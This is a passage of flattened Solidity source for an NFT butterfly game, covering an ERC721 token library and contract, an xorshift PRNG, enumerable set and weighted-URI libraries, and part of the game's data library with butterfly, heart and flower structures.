* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
*/
library ERC721Manager {
using SafeMath for uint256;
// We define the events on both the library and the client, so that the events emitted here are detected
// as if they had been emitted by the client
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
struct ERC721Data {
// List of supported interfaces
mapping (bytes4 => bool) supportedInterfaces;
// Mapping from token ID to owner
mapping (uint256 => address) tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) operatorApprovals;
// Token name
string name_;
// Token symbol
string symbol_;
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) allTokensIndex;
// Optional mapping for token URIs
mapping(uint256 => string) tokenURIs;
}
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
bytes4 private constant InterfaceId_ERC165 = 0x01ffc9a7;
/**
* 0x01ffc9a7 ===
* bytes4(keccak256('supportsInterface(bytes4)'))
*/
bytes4 private constant InterfaceId_ERC721 = 0x80ac58cd;
/*
* 0x80ac58cd ===
* bytes4(keccak256('balanceOf(address)')) ^
* bytes4(keccak256('ownerOf(uint256)')) ^
* bytes4(keccak256('approve(address,uint256)')) ^
* bytes4(keccak256('getApproved(uint256)')) ^
* bytes4(keccak256('setApprovalForAll(address,bool)')) ^
* bytes4(keccak256('isApprovedForAll(address,address)')) ^
* bytes4(keccak256('transferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)'))
*/
bytes4 private constant InterfaceId_ERC721Exists = 0x4f558e79;
/*
* 0x4f558e79 ===
* bytes4(keccak256('exists(uint256)'))
*/
bytes4 private constant InterfaceId_ERC721Enumerable = 0x780e9d63;
/**
* 0x780e9d63 ===
* bytes4(keccak256('totalSupply()')) ^
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^
* bytes4(keccak256('tokenByIndex(uint256)'))
*/
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
/**
* 0x5b5e139f ===
* bytes4(keccak256('name()')) ^
* bytes4(keccak256('symbol()')) ^
* bytes4(keccak256('tokenURI(uint256)'))
*/
function initialize(ERC721Data storage self, string _name, string _symbol) external {
self.name_ = _name;
self.symbol_ = _symbol;
// register the supported interface to conform to ERC165
_registerInterface(self, InterfaceId_ERC165);
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(self, InterfaceId_ERC721);
_registerInterface(self, InterfaceId_ERC721Exists);
_registerInterface(self, InterfaceId_ERC721Enumerable);
_registerInterface(self, InterfaceId_ERC721Metadata);
}
function _registerInterface(ERC721Data storage self, bytes4 _interfaceId) private {
self.supportedInterfaces[_interfaceId] = true;
}
function supportsInterface(ERC721Data storage self, bytes4 _interfaceId) external view returns (bool) {
return self.supportedInterfaces[_interfaceId];
}
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(ERC721Data storage self, address _owner) public view returns (uint256) {
require(_owner != address(0));
return self.ownedTokensCount[_owner];
}
/**
* @dev Gets the owner of the specified token ID
* @param _tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(ERC721Data storage self, uint256 _tokenId) public view returns (address) {
address owner = self.tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Returns whether the specified token exists
* @param _tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function exists(ERC721Data storage self, uint256 _tokenId) public view returns (bool) {
address owner = self.tokenOwner[_tokenId];
return owner != address(0);
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param _to address to be approved for the given token ID
* @param _tokenId uint256 ID of the token to be approved
*/
function approve(ERC721Data storage self, address _to, uint256 _tokenId) external {
address owner = ownerOf(self, _tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(self, owner, msg.sender));
self.tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* @param _tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(ERC721Data storage self, uint256 _tokenId) public view returns (address) {
return self.tokenApprovals[_tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf
* @param _to operator address to set the approval
* @param _approved representing the status of the approval to be set
*/
function setApprovalForAll(ERC721Data storage self, address _to, bool _approved) external {
require(_to != msg.sender);
self.operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param _owner owner address which you want to query the approval of
* @param _operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(
ERC721Data storage self,
address _owner,
address _operator
) public view returns (bool) {
return self.operatorApprovals[_owner][_operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function transferFrom(
ERC721Data storage self,
address _from,
address _to,
uint256 _tokenId
) public {
require(isApprovedOrOwner(self, msg.sender, _tokenId));
require(_from != address(0));
require(_to != address(0));
_clearApproval(self, _from, _tokenId);
_removeTokenFrom(self, _from, _tokenId);
_addTokenTo(self, _to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
*
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(
ERC721Data storage self,
address _from,
address _to,
uint256 _tokenId
) external {
// solium-disable-next-line arg-overflow
safeTransferFrom(self, _from, _to, _tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(
ERC721Data storage self,
address _from,
address _to,
uint256 _tokenId,
bytes _data
) public {
transferFrom(self, _from, _to, _tokenId);
// solium-disable-next-line arg-overflow
require(_checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
/**
* @dev Internal function to clear current approval of a given token ID
* Reverts if the given address is not indeed the owner of the token
* @param _owner owner of the token
* @param _tokenId uint256 ID of the token to be transferred
*/
function _clearApproval(ERC721Data storage self, address _owner, uint256 _tokenId) internal {
require(ownerOf(self, _tokenId) == _owner);
if (self.tokenApprovals[_tokenId] != address(0)) {
self.tokenApprovals[_tokenId] = address(0);
}
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* The call is not executed if the target address is not a contract
* @param _from address representing the previous owner of the given token ID
* @param _to target address that will receive the tokens
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
) internal returns (bool) {
if (!_isContract(_to)) {
return true;
}
bytes4 retval = IERC721Receiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param _addr address to check
* @return whether the target address is a contract
*/
function _isContract(address _addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(_addr) }
return size > 0;
}
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name(ERC721Data storage self) external view returns (string) {
return self.name_;
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol(ERC721Data storage self) external view returns (string) {
return self.symbol_;
}
/**
* @dev Returns an URI for a given token ID
* Throws if the token ID does not exist. May return an empty string.
* @param _tokenId uint256 ID of the token to query
*/
function tokenURI(ERC721Data storage self, uint256 _tokenId) external view returns (string) {
require(exists(self, _tokenId));
return self.tokenURIs[_tokenId];
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param _owner address owning the tokens list to be accessed
* @param _index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(
ERC721Data storage self,
address _owner,
uint256 _index
) external view returns (uint256) {
require(_index < balanceOf(self, _owner));
return self.ownedTokens[_owner][_index];
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply(ERC721Data storage self) external view returns (uint256) {
return self.allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens
* @param _index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(ERC721Data storage self, uint256 _index) external view returns (uint256) {
require(_index < self.allTokens.length);
return self.allTokens[_index];
}
/**
* @dev Function to set the token URI for a given token
* Reverts if the token ID does not exist
* @param _tokenId uint256 ID of the token to set its URI
* @param _uri string URI to assign
*/
function setTokenURI(ERC721Data storage self, uint256 _tokenId, string _uri) external {
require(exists(self, _tokenId));
self.tokenURIs[_tokenId] = _uri;
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenTo(ERC721Data storage self, address _to, uint256 _tokenId) internal {
require(self.tokenOwner[_tokenId] == address(0));
self.tokenOwner[_tokenId] = _to;
self.ownedTokensCount[_to] = self.ownedTokensCount[_to].add(1);
uint256 length = self.ownedTokens[_to].length;
self.ownedTokens[_to].push(_tokenId);
self.ownedTokensIndex[_tokenId] = length;
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFrom(ERC721Data storage self, address _from, uint256 _tokenId) internal {
require(ownerOf(self, _tokenId) == _from);
self.ownedTokensCount[_from] = self.ownedTokensCount[_from].sub(1);
self.tokenOwner[_tokenId] = address(0);
// To prevent a gap in the array, we store the last token in the index of the token to delete, and
// then delete the last slot.
uint256 tokenIndex = self.ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = self.ownedTokens[_from].length.sub(1);
uint256 lastToken = self.ownedTokens[_from][lastTokenIndex];
self.ownedTokens[_from][tokenIndex] = lastToken;
self.ownedTokens[_from].length--;
// ^ This also deletes the contents at the last position of the array
// Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to
// be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping
// the lastToken to the first position, and then dropping the element placed in the last position of the list
self.ownedTokensIndex[_tokenId] = 0;
self.ownedTokensIndex[lastToken] = tokenIndex;
}
/**
* @dev Function to mint a new token
* Reverts if the given token ID already exists
* @param _to address the beneficiary that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function mint(ERC721Data storage self, address _to, uint256 _tokenId) external {
require(_to != address(0));
_addTokenTo(self, _to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
self.allTokensIndex[_tokenId] = self.allTokens.length;
self.allTokens.push(_tokenId);
}
/**
* @dev Function to burn a specific token
* Reverts if the token does not exist
* @param _owner owner of the token to burn
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function burn(ERC721Data storage self, address _owner, uint256 _tokenId) external {
_clearApproval(self, _owner, _tokenId);
_removeTokenFrom(self, _owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
// Clear metadata (if any)
if (bytes(self.tokenURIs[_tokenId]).length != 0) {
delete self.tokenURIs[_tokenId];
}
// Reorg all tokens array
uint256 tokenIndex = self.allTokensIndex[_tokenId];
uint256 lastTokenIndex = self.allTokens.length.sub(1);
uint256 lastToken = self.allTokens[lastTokenIndex];
self.allTokens[tokenIndex] = lastToken;
self.allTokens[lastTokenIndex] = 0;
self.allTokens.length--;
self.allTokensIndex[_tokenId] = 0;
self.allTokensIndex[lastToken] = tokenIndex;
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param _spender address of the spender to query
* @param _tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function isApprovedOrOwner(
ERC721Data storage self,
address _spender,
uint256 _tokenId
) public view returns (bool) {
address owner = ownerOf(self, _tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (
_spender == owner
|| getApproved(self, _tokenId) == _spender
|| isApprovedForAll(self, owner, _spender)
);
}
}
// File: contracts/library/token/ERC721Token.sol
/**
* @title ERC721Token
*
* @dev This token interfaces with the OpenZepellin's ERC721 implementation (as of 7/31/2018) as
* an external library, in order to keep contract sizes smaller. Intended for use with the
* ERC721Manager.sol, also provided.
*
* Both files are released under the MIT License.
*
*
* The MIT License (MIT)
*
* Copyright (c) 2016 Smart Contract Solutions, Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
*/
contract ERC721Token is ERC165, ERC721 {
ERC721Manager.ERC721Data internal erc721Data;
// We define the events on both the library and the client, so that the events emitted here are detected
// as if they had been emitted by the client
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
constructor(string _name, string _symbol) public {
ERC721Manager.initialize(erc721Data, _name, _symbol);
}
function supportsInterface(bytes4 _interfaceId) external view returns (bool) {
return ERC721Manager.supportsInterface(erc721Data, _interfaceId);
}
function balanceOf(address _owner) public view returns (uint256 _balance) {
return ERC721Manager.balanceOf(erc721Data, _owner);
}
function ownerOf(uint256 _tokenId) public view returns (address _owner) {
return ERC721Manager.ownerOf(erc721Data, _tokenId);
}
function exists(uint256 _tokenId) public view returns (bool _exists) {
return ERC721Manager.exists(erc721Data, _tokenId);
}
function approve(address _to, uint256 _tokenId) public {
ERC721Manager.approve(erc721Data, _to, _tokenId);
}
function getApproved(uint256 _tokenId) public view returns (address _operator) {
return ERC721Manager.getApproved(erc721Data, _tokenId);
}
function setApprovalForAll(address _to, bool _approved) public {
ERC721Manager.setApprovalForAll(erc721Data, _to, _approved);
}
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return ERC721Manager.isApprovedForAll(erc721Data, _owner, _operator);
}
function transferFrom(address _from, address _to, uint256 _tokenId) public {
ERC721Manager.transferFrom(erc721Data, _from, _to, _tokenId);
}
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public {
ERC721Manager.safeTransferFrom(erc721Data, _from, _to, _tokenId);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
) public {
ERC721Manager.safeTransferFrom(erc721Data, _from, _to, _tokenId, _data);
}
function totalSupply() public view returns (uint256) {
return ERC721Manager.totalSupply(erc721Data);
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256 _tokenId) {
return ERC721Manager.tokenOfOwnerByIndex(erc721Data, _owner, _index);
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
return ERC721Manager.tokenByIndex(erc721Data, _index);
}
function name() external view returns (string _name) {
return erc721Data.name_;
}
function symbol() external view returns (string _symbol) {
return erc721Data.symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
return ERC721Manager.tokenURI(erc721Data, _tokenId);
}
function _mint(address _to, uint256 _tokenId) internal {
ERC721Manager.mint(erc721Data, _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
ERC721Manager.burn(erc721Data, _owner, _tokenId);
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
ERC721Manager.setTokenURI(erc721Data, _tokenId, _uri);
}
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
) public view returns (bool) {
return ERC721Manager.isApprovedOrOwner(erc721Data, _spender, _tokenId);
}
}
// File: contracts/library/data/PRNG.sol
/**
* Implementation of the xorshift128+ PRNG
*/
library PRNG {
struct Data {
uint64 s0;
uint64 s1;
}
function next(Data storage self) external returns (uint64) {
uint64 x = self.s0;
uint64 y = self.s1;
self.s0 = y;
x ^= x << 23; // a
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26); // b, c
return self.s1 + y;
}
}
// File: contracts/library/data/EnumerableSetAddress.sol
/**
* @title EnumerableSetAddress
* @dev Library containing logic for an enumerable set of address values -- supports checking for presence, adding,
* removing elements, and enumerating elements (without preserving order between mutable operations).
*/
library EnumerableSetAddress {
struct Data {
address[] elements;
mapping(address => uint160) elementToIndex;
}
/**
* @dev Returns whether the set contains a given element
*
* @param self Data storage Reference to set data
* @param value address Value being checked for existence
* @return bool
*/
function contains(Data storage self, address value) external view returns (bool) {
uint160 mappingIndex = self.elementToIndex[value];
return (mappingIndex < self.elements.length) && (self.elements[mappingIndex] == value);
}
/**
* @dev Adds a new element to the set. Element must not belong to set yet.
*
* @param self Data storage Reference to set data
* @param value address Value being added
*/
function add(Data storage self, address value) external {
uint160 mappingIndex = self.elementToIndex[value];
require(!((mappingIndex < self.elements.length) && (self.elements[mappingIndex] == value)));
self.elementToIndex[value] = uint160(self.elements.length);
self.elements.push(value);
}
/**
* @dev Removes an element from the set. Element must already belong to set.
*
* @param self Data storage Reference to set data
* @param value address Value being removed
*/
function remove(Data storage self, address value) external {
uint160 currentElementIndex = self.elementToIndex[value];
require((currentElementIndex < self.elements.length) && (self.elements[currentElementIndex] == value));
uint160 lastElementIndex = uint160(self.elements.length - 1);
address lastElement = self.elements[lastElementIndex];
self.elements[currentElementIndex] = lastElement;
self.elements[lastElementIndex] = 0;
self.elements.length--;
self.elementToIndex[lastElement] = currentElementIndex;
self.elementToIndex[value] = 0;
}
/**
* @dev Gets the number of elements on the set.
*
* @param self Data storage Reference to set data
* @return uint160
*/
function size(Data storage self) external view returns (uint160) {
return uint160(self.elements.length);
}
/**
* @dev Gets the N-th element from the set, 0-indexed. Note that the ordering is not necessarily consistent
* before and after add, remove operations.
*
* @param self Data storage Reference to set data
* @param index uint160 0-indexed position of the element being queried
* @return address
*/
function get(Data storage self, uint160 index) external view returns (address) {
return self.elements[index];
}
/**
* @dev Mark the set as empty (not containing any further elements).
*
* @param self Data storage Reference to set data
*/
function clear(Data storage self) external {
self.elements.length = 0;
}
/**
* @dev Copy all data from a source set to a target set
*
* @param source Data storage Reference to source data
* @param target Data storage Reference to target data
*/
function copy(Data storage source, Data storage target) external {
uint160 numElements = uint160(source.elements.length);
target.elements.length = numElements;
for (uint160 index = 0; index < numElements; index++) {
address element = source.elements[index];
target.elements[index] = element;
target.elementToIndex[element] = index;
}
}
/**
* @dev Adds all elements from another set into this set, if they are not already present
*
* @param self Data storage Reference to set being edited
* @param other Data storage Reference to set items are being added from
*/
function addAll(Data storage self, Data storage other) external {
uint160 numElements = uint160(other.elements.length);
for (uint160 index = 0; index < numElements; index++) {
address value = other.elements[index];
uint160 mappingIndex = self.elementToIndex[value];
if (!((mappingIndex < self.elements.length) && (self.elements[mappingIndex] == value))) {
self.elementToIndex[value] = uint160(self.elements.length);
self.elements.push(value);
}
}
}
}
// File: contracts/library/data/EnumerableSet256.sol
/**
* @title EnumerableSet256
* @dev Library containing logic for an enumerable set of uint256 values -- supports checking for presence, adding,
* removing elements, and enumerating elements (without preserving order between mutable operations).
*/
library EnumerableSet256 {
struct Data {
uint256[] elements;
mapping(uint256 => uint256) elementToIndex;
}
/**
* @dev Returns whether the set contains a given element
*
* @param self Data storage Reference to set data
* @param value uint256 Value being checked for existence
* @return bool
*/
function contains(Data storage self, uint256 value) external view returns (bool) {
uint256 mappingIndex = self.elementToIndex[value];
return (mappingIndex < self.elements.length) && (self.elements[mappingIndex] == value);
}
/**
* @dev Adds a new element to the set. Element must not belong to set yet.
*
* @param self Data storage Reference to set data
* @param value uint256 Value being added
*/
function add(Data storage self, uint256 value) external {
uint256 mappingIndex = self.elementToIndex[value];
require(!((mappingIndex < self.elements.length) && (self.elements[mappingIndex] == value)));
self.elementToIndex[value] = uint256(self.elements.length);
self.elements.push(value);
}
/**
* @dev Removes an element from the set. Element must already belong to set yet.
*
* @param self Data storage Reference to set data
* @param value uint256 Value being added
*/
function remove(Data storage self, uint256 value) external {
uint256 currentElementIndex = self.elementToIndex[value];
require((currentElementIndex < self.elements.length) && (self.elements[currentElementIndex] == value));
uint256 lastElementIndex = uint256(self.elements.length - 1);
uint256 lastElement = self.elements[lastElementIndex];
self.elements[currentElementIndex] = lastElement;
self.elements[lastElementIndex] = 0;
self.elements.length--;
self.elementToIndex[lastElement] = currentElementIndex;
self.elementToIndex[value] = 0;
}
/**
* @dev Gets the number of elements on the set.
*
* @param self Data storage Reference to set data
* @return uint256
*/
function size(Data storage self) external view returns (uint256) {
return uint256(self.elements.length);
}
/**
* @dev Gets the N-th element from the set, 0-indexed. Note that the ordering is not necessarily consistent
* before and after add, remove operations.
*
* @param self Data storage Reference to set data
* @param index uint256 0-indexed position of the element being queried
* @return uint256
*/
function get(Data storage self, uint256 index) external view returns (uint256) {
return self.elements[index];
}
/**
* @dev Mark the set as empty (not containing any further elements).
*
* @param self Data storage Reference to set data
*/
function clear(Data storage self) external {
self.elements.length = 0;
}
}
// File: contracts/library/data/URIDistribution.sol
/**
* @title URIDistribution
* @dev Library responsible for maintaining a weighted distribution of URIs
*/
library URIDistribution {
struct Data {
uint16[] cumulativeWeights;
mapping(uint16 => string) uris;
}
/**
* @dev Adds a URI to the distribution, with a given weight
*
* @param self Data storage Distribution data reference
* @param weight uint16 Relative distribution weight
* @param uri string URI to be stored
*/
function addURI(Data storage self, uint16 weight, string uri) external {
if (weight == 0) return;
if (self.cumulativeWeights.length == 0) {
self.cumulativeWeights.push(weight);
} else {
self.cumulativeWeights.push(self.cumulativeWeights[uint16(self.cumulativeWeights.length - 1)] + weight);
}
self.uris[uint16(self.cumulativeWeights.length - 1)] = uri;
}
/**
* @dev Gets an URI from the distribution, with the given random seed
*
* @param self Data storage Distribution data reference
* @param seed uint64
* @return string
*/
function getURI(Data storage self, uint64 seed) external view returns (string) {
uint16 n = uint16(self.cumulativeWeights.length);
uint16 modSeed = uint16(seed % uint64(self.cumulativeWeights[n - 1]));
uint16 left = 0;
uint16 right = n;
uint16 mid;
while (left < right) {
mid = uint16((uint24(left) + uint24(right)) / 2);
if (self.cumulativeWeights[mid] <= modSeed) {
left = mid + 1;
} else {
right = mid;
}
}
return self.uris[left];
}
}
// File: contracts/library/game/GameDataLib.sol
/**
* @title GameDataLib
*
* Library containing data structures and logic for game entities.
*/
library GameDataLib {
/** Data structures */
struct Butterfly {
// data encoding butterfly appearance
uint64 gene;
// time this butterfly was created
uint64 createdTimestamp;
// last time this butterfly changed owner
uint64 lastTimestamp;
// set of owners, current and former
EnumerableSetAddress.Data previousAddresses;
}
struct Heart {
// ID of butterfly that generated this heart
uint256 butterflyId;
// time this heart was generated
uint64 snapshotTimestamp;
// set of owners, current and former, at time heart was generated
EnumerableSetAddress.Data previousAddresses;
}
struct Flower {
// Whether this address has ever claimed a butterfly
bool isClaimed;
// Data encoding flower appearance
uint64 gene;
// Data encoding the garden's timezone
uint64 gardenTimezone;
// Data encoding the creation timestamp
uint64 createdTimestamp;
// index of the flower registration
uint160 flowerIndex;
}
struct URIMappingData {
URIDistribution.Data flowerURIs;
string whiteFlowerURI;
URIDistribution.Data butterflyLiveURIs;
URIDistribution.Data butterflyDeadURIs;
URIDistribution.Data heartURIs;
}
// possible types of NFT
enum TokenType {
Butterfly,
Heart
}
struct Data {
// global pseudo-randomization seed
PRNG.Data seed;
// next ID available for token generation
uint256 nextId;
// token type data
mapping (uint256 => TokenType) tokenToType;
mapping (uint8 => mapping (address => EnumerableSet256.Data)) typedOwnedTokens;
mapping (uint8 => EnumerableSet256.Data) typedTokens;
// token data
mapping (uint256 => Butterfly) butterflyData;
mapping (uint256 => Heart) heartData;
// owner data
mapping (address => Flower) flowerData;
address[] claimedFlowers;
// URI mapping data
URIMappingData uriMappingData;
}
/** Viewer methods */
/**
* @dev Gets game information associated with a specific butterfly.
* Requires ID to be a valid butterfly.
*
* @param self Data storage Reference to game data
* @param butterflyId uint256 ID of butterfly being queried
*
* @return gene uint64
* @return createdTimestamp uint64
* @return lastTimestamp uint64
* @return numOwners uint160
*/
function getButterflyInfo(
Data storage self,
uint256 butterflyId
) external view returns (
uint64 gene,
uint64 createdTimestamp,
uint64 lastTimestamp,
uint160 numOwners
) {
Butterfly storage butterfly = self.butterflyData[butterflyId];
require(butterfly.createdTimestamp != 0);
gene = butterfly.gene;
createdTimestamp = butterfly.createdTimestamp;
lastTimestamp = butterfly.lastTimestamp;
numOwners = uint160(butterfly.previousAddresses.elements.length);
}
/**
* @dev Gets game information associated with a specific heart.
* Requires ID to be a valid heart.
*
* @param self Data storage Reference to game data
* @param heartId uint256 ID of heart being queried
*
* @return butterflyId uint256
* @return gene uint64
* @return snapshotTimestamp uint64
* @return numOwners uint160
*/
function getHeartInfo(
Data storage self,
uint256 heartId
) external view returns (
uint256 butterflyId,
uint64 gene,
uint64 snapshotTimestamp,
uint160 numOwners
) {
Heart storage heart = self.heartData[heartId];
require(heart.snapshotTimestamp != 0);
butterflyId = heart.butterflyId;
gene = self.butterflyData[butterflyId].gene;
snapshotTimestamp = heart.snapshotTimestamp;
numOwners = uint160(heart.previousAddresses.elements.length);
}
/**
* @dev Gets game information associated with a specific flower.
*
* @param self Data storage Reference to game data
* @param flowerAddress address Address of the flower being queried
*
* @return isClaimed bool
* @return gene uint64
* @return gardenTimezone uint64
* @return createdTimestamp uint64
* @return flowerIndex uint160
*/
function getFlowerInfo(
Data storage self,
address flowerAddress
) external view returns (
bool isClaimed,
uint64 gene,
uint64 gardenTimezone,
uint64 createdTimestamp,
uint160 flowerIndex
) {
Flower storage flower = self.flowerData[flowerAddress];
isClaimed = flower.isClaimed;
if (isClaimed) {
gene = flower.gene;
gardenTimezone = flower.gardenTimezone;
createdTimestamp = flower.createdTimestamp;
flowerIndex = flower.flowerIndex;
}
}
/**
* @dev Returns the N-th owner associated with a butterfly.
* Requires ID to be a valid butterfly, and owner index to be smaller than the number of owners.
*
* @param self Data storage Reference to game data
* @param butterflyId uint256 ID of butterfly being queried
* @param index uint160 Index of owner being queried
*
* @return address
*/
function getButterflyOwnerByIndex(
Data storage self,
uint256 butterflyId,
uint160 index
) external view returns (address) {
Butterfly storage butterfly = self.butterflyData[butterflyId];
require(butterfly.createdTimestamp != 0);
return butterfly.previousAddresses.elements[index];
}
/**
* @dev Returns the N-th owner associated with a heart's snapshot.
* Requires ID to be a valid butterfly, and owner index to be smaller than the number of owners.
*
